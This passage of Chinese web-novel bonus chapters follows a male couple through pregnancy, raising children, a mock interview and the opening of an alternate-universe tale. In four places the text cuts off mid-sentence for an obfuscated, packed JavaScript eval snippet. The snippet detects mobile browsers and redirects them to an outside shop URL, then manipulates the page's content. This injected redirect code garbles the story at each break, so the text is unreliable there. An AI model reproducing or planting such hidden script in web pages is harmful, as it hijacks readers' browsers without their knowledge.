从怀孕那刻起,元丰就没再自己洗过澡,头发也是。四个月的时候,贺颜为了他开始在家办公,几乎寸步不离地守在他身边。 他睁开眼睛,直勾勾地盯着上方那张怎么看都看不腻的脸,乐呵道:“老公,你为啥对我这么好啊?” “你说呢?” 元丰咧嘴一笑,“因为爱我,是不是啊?” 贺颜应了声,“不嫌害臊。” “你脸皮咋这么薄?”元丰故意用手臂碰了碰贺颜的胯间,“一会儿打不?” “不打。” 这七个月里,贺颜跟元丰只打过两次,还是被缠得没办法。整个过程都小心翼翼,像是在做一台风险极高的手术。 “好久没打了,空虚啊。”元丰摸着孕肚,冲里面的两个小家伙开起玩笑:“为了你俩,妈妈跟爸爸忍得就差出家当和尚了,晓得不?” “谁出家?”贺颜盯着元丰,“你每天晚上爽得还少?” “……”脸皮厚惯了的元丰被盯得有些不自在,他挪开视线,别扭道:“你自己要……” “是我要舔的?”贺颜问。 “诶呦,你别说了,是我是我。”元丰脸热得不行,小声反驳:“第一次还不是你自己,反正是你开的头!” “嗯。”贺颜笑道,“我上辈子欠了你的。” 话题一开,元丰回忆起多年前的蜜月之旅。领到结婚证的那天晚上…… 他当时羞耻得恨不得找个地缝钻进去,哪怕是现在,依旧会羞耻。 贺颜冲洗掉元丰头上的泡沫,拿起一旁的干毛巾开始擦头发。擦了有一会儿,突然听见自己老婆用极小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658646|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音说了一句话。 他假装没听见,“什么?” 元丰撑着扶手站起来,回道:“没啥。快给我吹头发,我要去睡觉了。” “嗯,是该早点睡。” “……” * 元丰侧躺着,闭上眼睛准备睡觉,肚子里的两个小家伙却不安分地动来动去。 他抚摸胎动频繁的部位,耐心哄道:“你俩闹啥呢,好好睡觉。” “又踢你了?”贺颜关掉灯,上了床。 “是啊,忒调皮了。”元丰摸黑向贺颜靠近,“你摸摸,这会儿还在闹。” 贺颜轻抚圆滚滚的孕肚,隔着一层肚皮,掌心似乎被蹬了两下。他摸了一会儿,说道:“没准是个小子。” “元宝说想要妹妹跟弟弟。”元丰笑着问,“你说有没有可能是龙凤胎啊?” “有可能。” 元丰越想越美,忍不住夸道:“你咋这么牛逼啊?头胎一发就中,这二胎又直接来个双胞胎。” 元宝是怎么有的,贺颜一直没忘。 气氛突然变得安静,腰间多了一双手,有了黑暗的掩护,元丰还是害羞,小声说道:“我还以为你没听见。” “听见了。”贺颜调侃,“脸皮不是挺厚么?说那么小声。” …… …… 次年春天,元丰提前被推进手术室,通过剖宫产诞下一对龙凤胎。 先出来的哥哥取名为贺玹,妹妹取名为贺瑾。元宝如愿以偿,终于有了可爱的弟弟和妹妹。 贺颜给自己放了一个月的假,在月子中心亲力亲为地照顾老婆,连两个孩子都没多看几眼,直接交给父母和月嫂,只有喂母-乳时才会帮着抱一会儿。 元丰孕晚期就开始涨奶,奶-水比头胎多了不少,医生仔细检查过后说是可以母-乳喂养。考虑到产后身体虚弱,他建议奶粉喂养,元丰却死活听不进去,非要混合。 元丰计划在家休养三到四个月再去找工作,但计划总赶不上变化,当可爱的小婴儿躺在怀里嘬奶时,他舍不得断奶了,能给一口是一口。 虽然奶水喝完就涨,可依旧赶不上两张嗷嗷待哺的小嘴。哥哥分量重一些,自然喂得少一些。 贺颜成了圈子里众人羡慕的对象,乔安和费凡特地带上一大堆礼品登门拜访,他们俩是万万没想到,曾经玩得最开的男人居然有了三个孩子,瞧着还挺幸福的。 要说幸福,贺颜这日子确实过得有滋有味儿。但他最近很不□□,憋了许久的火无处发泄。老婆能看不能摸,更不能吃。 因为已经被预定了,左边是给儿子喝的,右边是给小闺女喝的,没他的份。 熬到俩孩子五个月时,终于可以痛快来上一发。 元丰觉得挺对不起贺颜的,等孩子们睡着之后,他偷偷摸摸爬过去,一边脱衣服一边小声说:“这阵子委屈你了,作为补偿,给你几口。” “……”贺颜拒绝,“留给孩子喝吧,我有别的。” 元丰吐血,“你这老流氓。” “老流氓?” …… “……”元丰噗地一笑,立刻认错,“我说我自己呢,我才是老流氓。” 贺颜下了床,一把将元丰抱起来。 元丰吓得赶紧搂住他,“吓我一跳,你这是干啥呢?不抓紧时间,一会儿孩子该醒了。” 贺颜低声警告,“去卫生间再收拾你。” 元丰迅速在贺颜嘴上亲了一口,笑眯眯地拍起马屁:“男人四十一枝花,你这才38,正是开得最艳丽的时候。你要28,我还不一定能瞧上你。” 贺颜低笑一声,“口气不小。” “我那会儿又不喜欢男的,当然瞧不上你。”元丰突然感慨,“咱俩都认识7年了,时间咋这么快啊……” “有了孩子,时间是快。” “等等!”元丰拍了拍贺颜肩膀,“东西拿了没?” “不用那个。”贺颜说,“我结z了。” “啥?!” “小声点。” “你啥时候做的?”元丰惊道,“这么大个事儿,你咋不跟我说啊!” “小事儿。”贺颜平静道,“三个多月前做的。” 元丰仔细回忆了下,那阵子光顾着弄俩小的,完全没注意到贺颜的情况。他又心疼又内疚,“对不起啊老公,你为啥不告诉我?疼不疼啊…” “不疼。”贺颜用脚关上卫生间的门,将元丰放了下来。 “我应该多关心你的,我对不起你。” 贺颜盯着元丰那迅速红起来的眼眶,伸手摸了摸他的脑袋,笑道:“夫妻之间,说什么对不起?” 元丰一头扎进贺颜怀里,抱得紧紧的。 “这么多年,总是你在照顾我,我都没有好好关心你,还让你一个人去做结扎……” 贺颜拥住怀里的人,只说了一句话。 “你是我老婆。” 元丰用力点头,“咱俩不是夫妻吗?你以后有啥事儿都跟我说好不好?” 贺颜只是不想让元丰担心,他把人抱紧,说了声好。 一晃眼,七年了。 当初那个喜欢爆粗的小年轻,长大了。 43. 情人节小剧场 情人节这天晚上,贺颜给元丰准备了惊喜,所以早早地让保姆带元宝洗澡上床,亲自给闺女讲睡前故事。 在故事开始之前,他看着满脸期待,五官与自己相似的小女孩儿,笑问:“小宝儿,听妈妈说,你想要个妹妹?” 六岁的元宝已经上中班,好几个同学都有妹妹,她早就羡慕死了,点点头,认真地问爸爸:“爸爸,我可以要妹妹吗?” 元丰宝贝闺女,闺女说要妹妹,就胡搅蛮缠地闹着要二胎,贺颜深思熟虑后不得不依着家里这一大一小俩活宝。 但他不确定二胎性别,得提醒跟孩子做好沟通,于是问闺女:“如果是弟弟,想不想要?” 元宝眼珠子转了转,似乎在思考,好一会儿,她突然说:“爸爸,今天爷爷奶奶带我去游乐场了。” “嗯,然后呢?” “有个小弟弟抢我积木,我不给,他就把我拼的房子推倒了,我不喜欢他,男孩子都调皮!” 贺颜陪孩子去过几次室内游乐场,积木也一起玩过,大概能想到是什么情况,他安慰闺女:“倒了没事儿,咱再慢慢搭起来,你有没有跟小弟弟好好说?” “我说了,他不听我的,还一直哭!后来我把积木让给他了,因为老师说要分享。”元宝嘟起嘴,说得不情不愿。 “我们小宝儿真棒,”贺颜及时夸奖闺女,伸手摸了摸她的脑袋,承诺她,“下周爸爸陪你去,给你拼大房子。” “真的吗?”爸爸忙着工作难得才有空,元宝惊喜得不行,“我要妈妈也去!” “好,都陪你去。”贺颜勾着闺女的小手指,“爸爸跟你拉勾。” “谢谢爸爸!” 贺颜想起今天医生交代的备孕事项,耐心地继续和闺女沟通:“等去完游乐场,妈妈要在家养身体,你好好听话,爸爸妈妈争取明年给你生个小妹妹。” 元宝满脑子都是爸爸妈妈要陪自己去游乐场,哪里还关心妹妹,兴奋得直点头,笑嘻嘻地听着爸爸讲故事。 把闺女哄睡后,贺颜关上灯,悄声离开了儿童房,刚关上,元丰就从卧室里窜出来,冲他招手:“快快快,我都急死了,你说你情人节还这么晚回来,对得起我不?” “着什么急?” “着急给你惊喜啊,你白天那么忙,惊喜都叫我捂烂了,赶紧跟我回房,快点的。” 元丰所谓的惊喜,多半又是看片学了什么新花样,看他那猴急的欠操劲儿,贺颜笑了,“你老实跟我说,是不是你撺掇元宝要妹妹,当初又闹又吐的,别好了伤疤忘了疼。” 元丰确实好了伤疤忘了疼,主要宝贝闺女实在太可爱了,叽叽喳喳跟个小活宝一样,特招人喜欢,家里有了孩子到底是不一样。 再过两年他就三十岁了,打国外结婚回来,他这些年跟贺颜感情越来越好,别说什么三年之痛七年之痒,他俩之间就不存在,岁数上来了,反而跟小年轻一样腻歪。 这一腻歪吧,他就想再给贺颜生个孩子,可贺颜死活不同意,正好元宝想要妹妹,软磨硬泡总算松了口,生俩闺女一个随他姓,一个随贺颜姓,以后家里热热闹闹的,多好啊。 熟睡中的元满完全不知道,自己小小年纪就被迫独立睡觉的原因竟是阻碍了两位爸爸的夜生活。 元丰神神秘秘地背着自己捣鼓东西,贺颜先去了客厅拿出自己准备的惊喜。 等他再回房间,开门即愣,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658647|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见元丰手捧一大束红玫瑰,单膝跪在他面前,一见他回来就激动地说:“你以前跟我求婚的时候,我就想着我也得跟你求一次婚,后来给忘了,这不元宝大了吗,我孕傻好了,现在补给你,不然我怕再怀孕,又给忘了。” 贺颜:“……” “那啥,咱们……”元丰这辈子都忘不了贺颜跟他求婚的那一天,光是想想眼眶就发热,他没有经验,忽然笨拙起来,磕磕巴巴,“你,你嫁给我吧!” 贺颜:“……” “一晃眼我都要三十了,这么多年谢谢你,就算元宝不想要妹妹,我也想再跟你生一个孩子,我……” “起来。”贺颜接过玫瑰花,单手将元丰拎起来并搂进怀里,低头亲昵地吻了下他额头,“不是不让你生,我是心疼你,比起孩子,你对我来说更重要。” “我知道你心疼我,”贺颜之前答应得很勉强,元丰抱紧他,习惯性撒起娇,“你就再听我一回啊,能不能积极点,不然就是不爱我,你是不是不爱我了?” 贺颜手往下滑,在元丰屁股上掐了一把,说:“我想抽你。” “行啊,你使劲抽,等等,”元丰忽然想起来,“我买了新戒指,还没给你戴呢,求婚求一半,叫你打断了,真是。” “你还有脸赖我?” “就赖你。” 贺颜看着火红的大捧玫瑰花,无声笑了。 一晃这么多年过去,当初那个小经理长大了,他也奔着四十去了,爱对他来说是个很抽象的东西,从前不信,现在也没有太深的概念,但他无法想象往后身边没有元丰的日子,早已离不开元丰。 如果这就是爱,他比世上任何一个人都要爱元丰。 44. 小段子 每逢贺家两个小宝贝过生日,贺颜都会提前铺垫,给俩孩子隆重大办,亲朋好友通通叫上,媳妇儿那头的直接包机,有多少桌算多少桌。 其实办一回挺累人,忙前忙后,都他亲自盯着,但没辙,老二老三这俩打小喜欢热闹,也不认生,自打会说话了,就是俩小话痨,叽叽喳喳的,能提前半年追着他问:“爸爸,我们还有几天过生日呀?想要礼物!” 他知道,俩小东西要的不光是他和媳妇儿给准备的礼物,心思多着呢。 作为父亲,贺颜没少琢磨过教育这快,依了吧,担心太惯着孩子,回头宠坏了。可不依吧,他自己倒先心疼上了,媳妇儿当初怀得多不容易,看着俩孩子,他就会想起元丰怀孕的那段时日。 那时候在手术室门口,贺颜就不止一次后悔,不该答应要这二胎的,万幸大人和孩子都平安。他想,这辈子得照顾好媳妇儿和仨孩子,只要自己还活着,就不能给他们委屈受,即便将来自己先走一步,也得都安排妥当了。 所以,隆重点就隆重点吧,孩子高兴。 结果俩孩子五周岁生日的前几天晚上,贺颜被媳妇儿数落了。 元丰看着露天生日派对的策划方案,这一场办下来又得不少钱,光生日蛋糕就上百万,给他吓死了,这多铺张浪费啊!最关键的还不是这个问题。 “搞这么大阵仗,不知道的还以为咱俩结婚呢!干嘛买这么贵的蛋糕,是镶钻了还是里头藏黄金了啊?” “你小闺女挑的,你问问她。” “……”元丰就没见过这么甩锅的,“那肯定也是你给她看的图,要不她能知道?我不是跟你计较钱,你老惯着孩子,她要啥就给啥,回头宠坏了!还有小玹,你咋又给他买一堆遥控赛车遥控飞机啥的,他玩得过来吗?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658648|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺颜:“你儿子要的,我没办法拒绝。” 元丰:“行,我这就去揍他!揍完他我再回来揍你!” 贺颜:“……” 整个家里,只有贺颜最招架不住俩孩子撒的娇,要什么给什么,谁让大闺女元满小学都快毕业了,早就不爱冲他撒娇了,他嘴上没跟谁说过,这老父亲的心里头啊,还是有点感慨的。 就连元满的生日,他也提前精心策划过,想给闺女一个大大的惊喜,然而隆重的生日过后,闺女在某天敲开他书房,大概是憋不住了,一本正经地跟他说了一番话。 “爸,我的生日以后别给我过了,本来我要跟我好姐妹出去过的,餐厅我们都选好了,可妈妈说你给我准备了惊喜,只能泡汤了。” 贺颜的心,当时哇凉了一下,这时间啊,一晃眼怎么就过去了好多年,宝贝闺女长大了,有了姐妹忘了爹。 45. 《访谈节目》 本期邀请到的两位男嘉宾是来自《一头母猪》的贺颜和元丰,以及《格式化》来友情客串的陈硕和李格,掌声有请! 这一期嘉宾有点多,咱就直接进入正题,先登场的是咱们主CP贺元夫夫,副CP陈李夫夫还在后台做准备。 本期仍有刁钻问题掉落,请男嘉宾们做好心理准备~ 01.老规矩,先报名号。 “贺颜。” “元丰。” 02.你们的年龄是? 贺颜:“32。” 元丰:“23。” 03.你们的性别是? 贺颜:“男。” 元丰:“必须男的啊,不是,你这问题啥意思?” 04.没没,没啥意思,你俩什么时候什么地点相遇的? 元丰:“就大马路上,一十字路口,贺颜他朋友的车撞了我,什么时候啊,夏天最热的时候。” 贺颜:“他都说完了,还用我说么?” 元丰:“用啊,我说是我说,你也得说,不然咋叫访谈?我还是头回上节目呢,快点的。” 贺颜:“夏天最热的时候,在一十字路口,我朋友的车撞了他。” 元丰:“你鹦鹉啊,学我说话。” 贺颜:“……” 05.初次见面的第一印象和感受。 贺颜:“小白脸,长得不错。” 元丰:“合着你就是看上我脸了啊?根本不管我死活呗?” 贺颜:“第一眼不就是看脸么?怎么没管你死活?问了你两回胳膊和腿有没有事儿。” 元丰:“哎呦,瞧我这记性……” 贺颜:“先答题,对我的第一印象和感受。” 元丰:“男人!真正的男人!挺帅的,嘿嘿。” 贺颜:“嗯,满分。” 06.那你们是怎么开始接触对方的呢? 元丰:“这题我先来,他朋友说找他要赔偿,结果他不赔我钱,还非要包养我,你说气人不?在咖啡厅里就吃我豆腐,要点钱容易嘛我?” 贺颜:“这是个误会。” 元丰:“什么误会?从头到尾啥都你说了算,欺负我这个小老百姓,万恶的资本家!” 贺颜:“……” 元丰:“咋的,说不出来了?” 贺颜:“说来话长,下一题吧。” 07.好好好,下一题,有讨厌过对方吗?为什么讨厌? 元丰:“当然有啊,他刚包我那阵子,别说讨厌,我恨不得一刀捅死他,叫他逼我签合同,净整些没用的,跟土皇帝一样,老逼我做这做那。” 贺颜:“这问题有点刁钻,下一题。” 黄金圣斗士:“重在参与啊贺总,来都来了,读者们也很期待这次的访谈,咱还是别扫兴了,对不?” 贺颜:“从没讨厌过他。” 元丰:“嘿,你讨厌一个试试的。” 08.喜欢对方哪一点?为什么喜欢? 元丰:“那多了,长得帅,身材好,又有钱,关心我,对我也好,那啥又大,照顾我感受,对我家里也是,他爸妈也好,欸哪儿说得完啊,反正全都喜欢,就是好!” 贺颜:“元丰性格很好,我不止是喜欢。” 元丰:“不止是喜欢,还有啥啊?” 贺颜:“爱。” 元丰:“……咋突然在节目上表白啊,你这样,我——” 贺颜:“下一题。” 元丰:“……” 09.什么时候确定关系的? 元丰:“这问题咋说呢,我记不清日子了,反正就这么确定了。” 贺颜:“他怀孕后,我考虑了很多。” 元丰:“然后呢?” 贺颜:“没了。” 元丰:“咋不说下去了?” 贺颜:“说来话长。” 元丰:“又说来话长,行行行,下一题,回去得跟我说啊。” 10.最开始谁先主动的? 元丰:“他!” 贺颜:“我。” 11.被对方拒绝过吗? 元丰:“那可太多了啊,数都数不清。” 贺颜:“有过。” 元丰:“我拒绝签合同,你看他答应吗?我不想吃几把,他——” 贺颜:“就你话多。” 元丰:“咋的,敢做还不让人说啊?” 贺颜:“下一题。” 12.平时怎么称呼对方? 元丰:“就贺颜啊,叫他名字。” 贺颜:“媳妇儿。” 元丰:“哎!” 13.如果你身上有某个缺点对方很不喜欢,会为了对方而改变吗? 元丰:“啥缺点?贺颜,我身上有你不喜欢的缺点吗?” 贺颜:“没有,挺完美。” 元丰:“听见没?我很完美,他也是,我俩没啥不招人喜欢的缺点。” 14.吵过架吗? 贺颜:“没有。” 元丰:“怎么没吵过?吵老多了。” 贺颜:“在一块儿后,我跟你吵过了?” 元丰:“哦,好像没有……” 15.这场恋爱由谁占主导地位? 元丰:“啊?” 贺颜:“我跟他平等相处,没有谁在主导,下一题。” 16.如果你们之间没有话题了,该怎么办? 贺颜:“不会,他话多。” 元丰:“……” 17.在一起后彼此最大的改变是什么? 元丰:“自信!我那啥,以前多嫌弃,现在就多喜欢,哈哈!” 贺颜:“对生活有了期待,感觉挺好。” 18.说一个自己内心深处的小秘密。 元丰:“我哪有小秘密啊?贺颜,你有不?” 贺颜:“没有。” 元丰:“真的没有?” 贺颜:“真有了,瞒得过你么?” 元丰:“嘿嘿。” 19.对方在自己心里的排名是第几位? 元丰:“那肯定第一位啊,然后才是我闺女,她长大了会有自己的家。” 贺颜:“以后把自己放第一位。” 元丰:“那不行,在我心里你就是第一位,你好,我和元宝才好,我在你心里是第几位啊?” 贺颜:“第一。” 元丰:“真的啊?咋不是你爸妈呢?我排第二就行了。” 贺颜:“他们有彼此。” 20.在亲密关系里,最害怕的是什么? 元丰:“我俩感情这么好,有啥怕的啊?好像没有吧?” 贺颜:“没有。” 21.初次H的地点是哪里? 元丰:“锦西湾26单元1601!瞧我这记性,多好。” 贺颜:“嗯。” 22.当时的感想呢? 元丰:“疼啊,死疼死疼的,不能多想。” 贺颜:“还有几道刁钻的问题?” 黄金圣斗士:“还没到刁钻问题环节……” 贺颜:“鸡飞狗跳,不够尽兴。” 元丰:“你好意思说啊!” 贺颜:“下一题。” 23.每星期的H次数? 贺颜:“四到五次。” 元丰:“不对啊,有时候搞起来不止一回,咋算?等会儿啊,我数数上个星期一共多少回。” 贺颜:“……下一题。” 24.在H中有使用过小道具吗? 贺颜:“不用。” 元丰:“现在不爱用那玩意儿了,就喜欢真枪实弹。” 25.你们的癖好是? 元丰:“不就那档子事儿吗?还有啥癖好?” 贺颜:“就这,下一题。” 26.喜欢被对方亲吻哪里? 元丰:“哪儿都喜欢啊,只要他亲。” 贺颜:“这是正经访谈么?把剩下的题给我看看。” 元丰:“就是啊,我是来参加正经访谈的,又不是来拍片的。” 27.好好好,跳过H部分,下一题,攻方有过强bao行为吗? 元丰:“有啊,他以前一直强我,还在车里不做人。” 贺颜:“……” 元丰:“变态着呢。” 贺颜:“这节目,还想播么?” 28.骚瑞骚瑞,实在骚瑞啊贺总,马上正经,请听题,你们觉得两个人在一起最重要的是什么? 贺颜:“沟通和信任,包容和理解。” 元丰:“对,还有感觉,只要你觉得开心幸福,那感觉就对了!” 29.是否考虑二胎,未来希望有几个孩子? 贺颜:“不考虑。” 元丰:“考虑啊,要还能生的话,我想再生一个,俩孩子嘛,一个跟我姓,一个跟他姓。” 贺颜:“生什么,好了伤疤忘了疼,别跟我哭。” 元丰:“……” 陈李夫夫已经准备就绪,在邀请他们上台前,有两个刁钻问题想请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658649|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺总回答一下。 元丰:“多刁钻啊?快问!” 1.好多读者觉得元丰对您来说像一道重口味小吃,虽然嫌弃,但很爱吃,请问您对此怎么看? 元丰:“操,这么刁钻,说我重口味,几个意思啊?” 贺颜:“既然爱吃,又怎么会嫌弃?他对我而言,更像一盅农家土鸡汤,汤头鲜甜滋补,肉质细腻入味。” 元丰:“不是,你这上的美食节目啊?我咋就是鸡了?” 贺颜:“……” 2.说得有道理哈,第二题,形容下初吻的滋味,元丰也可以回答一下。 元丰:“啊,哦,奇奇怪怪的,有一股麻劲儿,他舌头软软的,特热乎,反正不赖。” 贺颜:“不记得了。” 元丰:“咋可能不记得?说啊,我又不生气。” 贺颜:“年头太长了,真没印象。” 元丰:“你是不是哄我呢?” 贺颜:“等我回去想想,还有题么?什么时候结束?” 李格:“来了来了,各位久等,刚才有点要紧事儿,耽搁了。” 陈硕:“大家好。” 贺颜:“你俩继续,我先带元丰回去了。” 李格:“这就走了?也行,快走吧,听说这访谈有表白环节,刚才你俩相互表白了没?” 贺颜:“就差求婚了。” 元丰:“……” 李格:“好好好,相当好,赶紧开始。” 01.你们的名字是? 李格:“李格。” 陈硕:“陈硕。” 02.你们的年龄呢? 李格:“28,不对,29了。” 陈硕:“29。” 03.你们的生日呢? 陈硕:“12月27日。” 李格:“6月20号,双子座,身高183,体重75公斤,他摩羯座,身高186,体重跟我差不多,兴趣爱好是我和宫斗剧,我的兴趣爱好是他,没别的了,赶紧略过这些,进入表白环节吧,赶时间。” 陈硕:“……” 黄金圣斗士:“不好意思,之前去洗手间了,咱们这个访谈没有表白环节,只有刁钻问题环节,请谅解。” 李格:“刁钻问题?什么刁钻问题?” 黄金圣斗士:“想直接进入这个环节,也是可以的。” 陈硕:“直接进入吧,我也赶时间。” 李格:“听他的,快开始。” 由于咱们副CP陈李夫夫都赶时间,直接进入刁钻问题环节,请二位男嘉宾做好心理准备。 01.有过几个前任? 李格:“……” 陈硕:“没有。” 李格:“这是刁钻啊还是居心不良想破坏我们的感情?” 陈硕:“赶时间,快点。” 李格:“……” 李格:“三个,第一个是幼儿园里的过家家,第二个是游戏里的网恋,闹着玩的,没见过面,第三个是大学时处的,给我戴绿帽,我被伤透了心,幸好遇到了陈硕,有句话怎么说来着?真命天子是命中注定的爱人,那三段失败的感情是为了让我成长,然后遇到他。” 陈硕:“正常点。” 李格:“快,下一题。” 01.初次H的地点是哪里?和谁? 陈硕:“我家,和他。” 李格:“我看这节目可以停了,你以为我是为了什么才接受这个访谈?第一期结尾不是有表白么?给我安排那样的,再问这些乱七八糟的——” 陈硕:“李格。” 李格:“行行行,我不激动,我好好说,给我安排第一期结尾那样的,可以么?谢谢。” OKOK,本次有爱的访谈到这儿就结束啦,还有最后一个有爱的温馨小环节,请二位对恋人说一句话吧。 李格:“宝贝,我们走到今儿挺不容易的,我这心里头,憋着多少心酸多少泪,我成天成宿地惦记你,怕你整天沉迷电视剧,吃不好,穿不暖,没人照顾你,你又不愿意多依赖我些,我这肩膀多可靠啊,能不能多依赖我一些,我们一定要好好珍惜彼此,我——” 陈硕:“好了,别在这里煽情,有话回去说。” 李格:“嗯?你就没什么要对我说的?” 陈硕:“你的肩膀很可靠,我会珍惜的。” 李格:“那还不赶紧靠过来?过来,让我抱会儿。” 陈硕:“先回去。” 李格:“得嘞,这破访谈,真浪费时间。” 46. 独家番外if线(古耽) 1、 贺颜已过而立之年,尚未娶亲。空有一副好皮囊和结实能干的身子骨,却没有媒婆愿意给他说亲。 原因就一个字儿: 穷。 家里没地不说,那漏风漏雨的破茅屋,哪个姑娘敢嫁过去? 他知道自己穷,可最近大雪封山,动物也冬眠了,没得打猎。整个冬季能打到几只野兔和山鸡就算不错的,再跟村里人换点粮食,勉强够养活自己。要想重新修整茅屋娶个亲,只能等来年上山多打些值钱的野味到集市上去卖。 两个月前,邻村倒是来了个愿意给他说亲的媒婆,说姑娘家不嫌弃屋子漏风漏雨,只图人好。而且刚守了寡,肚子里头还有个小的。他二话不说回绝了媒婆,遭了对方一顿埋汰。 2、 小猪妖修炼百年,终于幻化成人形。他光溜溜地躲在山洞里,刚走两步又摔倒,“诶呦,疼死我了…” “你这头笨猪!”化成人形的狍子精大步流星地来回走了几圈,“瞧瞧我怎么走的,自个儿跟着学。等学会了,哥哥带你下山找乐子去!” 小猪妖撑着岩壁,细又白的两条人腿颤巍巍地站了起来。他无助地看向狍子精,想让对方扶自己一把,目光被那青色长袍给吸引了。 “狍子哥,你这衣裳咋来的?” “要不说你是头笨猪呢,自然是妖力变的。”狍子精数落道,“整日吃了睡睡了吃,让你好好修炼你不听。” “啊,竟是如此。”小猪妖撑着岩壁艰难前行,他冲狍子精伸出一只手,“狍子哥,你这衣裳送我穿,成不?” “送你穿,那我穿啥子?” “你自个儿再变一身啊……” 要想找乐子,首先得学会做人。接下来的日子里,小猪妖天天跟在他的狍子哥后学习怎么做人,顺便提升自己那连半桶水都不如的妖力。 3、 虽已开春,可山上积雪未化,想打猎还得再等一阵子。眼瞅着缸里粮食见底,靠天吃饭的贺颜不得不背上弓箭,起早进山。 连着几日下来,只打到些不值钱的野兔。他给自己留了点,剩下的跟村民换了些粮食,日子得以继续维持。 当缸里粮食再次见底时,贺颜带上捕猎工具,决定到深山里头碰碰运气。如果能猎到山猪、野熊和野麂等动物,可以卖不少钱。 他每日早出晚归,却一无所获。也不能说完全没收获,院前多了一堆柴火和砍来的大木头。屋子不大,回头多砍些木头便能再搭一间出来。 他琢磨着明日换个法子,继续往深山里去,看能不能找到山猪或野熊的老窝。 4、 小猪妖躺在石床上,翘着二郎腿看画本子。本子里各种颠鸾倒凤,他馋得慌,据说那档子事儿□□,比做神仙还快活。 狍子哥带他去过青楼,可乐子是一点都没找着,倒是看了几场活春-宫。 当天晚上他就做梦了,梦里不是他压别人,而是被一个雄壮魁梧的野汉子压着。怪不得青楼无趣,比起找女子寻欢作乐,他发现自己更喜欢偷看男人,尤其是雄壮魁梧的。可惜至今没找着令他满意的壮汉,只能在梦里相会。 看完画本子,小猪妖恨不得马上到梦里找野汉子缠绵一番。 不过他刚睡醒还不到一个时辰,便打算独自下山到集市上偷看男人。 狍子哥最近跟青楼里一个叫春桃的女子好上了,整日缠绵,连山洞都不回了。他只有羡慕的份,自己啥时候能找到梦里的壮汉啊。如果能找到,定要缠绵个几天几夜。 说走就走,小猪妖双指并拢指向自己,叽里咕噜念了两句咒语,亵裤瞬间干了。他大摇大摆地走出山洞,由于修为尚浅,下山全靠两条腿。其实变成山猪能跑得快一些,但他不想再变回去了。 山上的野猪不是公就是母,唯独他是个又公又母的异类,打小就遭同类嫌弃和排挤。化成人形的当天,他才知道自己的身体竟也是雌雄同体,跟狍子哥不一样。 连老天爷都在告诉他,这副身子合该与男人行那鱼水之欢,而非女子。 5、 贺颜从胸前掏出已经发硬的蒸饼,就着采摘来的野果,勉强果腹。他找了个能坐的地方,准备小憩。前方传来石子落水的声音,溪边站着一位身着青色长袍的男子。 突然出现的陌生男子令他心生警惕,整个秀水村除他以外,家家户户都以务农为生。即便是上山砍柴,也绝不会走到这深山里头。 小猪妖扔完石子,心依旧在扑通扑通狂跳,他怎么都不会想到,居然在溪边遇见了自己的梦中情人。瞧瞧那强壮魁梧的身子,只怕那处更大。一定是老天爷知道他日思夜想,给他送汉子来了。 男子站着一动不动,那瘦弱的身子骨瞧着也不像是来打猎的。贺颜暗中观察了片刻,起身打算离开。 啊,他要走了! 小猪妖没有正儿八经地跟人说过话,不知该如何打招呼。他急得来回踱步,集市上的男人没一个能入眼的,如果就这么把梦中情人放走,岂不是亏大发了? 贺颜没走两步,听到陌生男子在身后喊他相公。他脚步一顿,随即加快步伐继续往前走。瞧着人模人样,竟是个脑子不正常的。 小猪妖不知该怎么称呼梦中情人,一想那青楼女子春桃管狍子哥叫相公,便学着叫了起来。他一边跑一边喊,“相公,你等等我啊!别走!诶呦……” 贺颜听到痛呼声,并未理会。 汉子的身影迅速消失在山林里,小猪妖从地上爬起来,揉着摔疼的膝盖,嘀咕道:“跑啥啊,我又不吃人……” 6、 小猪妖害了相思病,夜夜梦见溪边那强壮的野汉子,亵裤是湿了干,干了又湿。他不知道汉子打哪儿来的,去集市上寻了好几日,也没找着人。 狍子精看不下去了,“不就是一男人吗?哥哥给你重新找。” 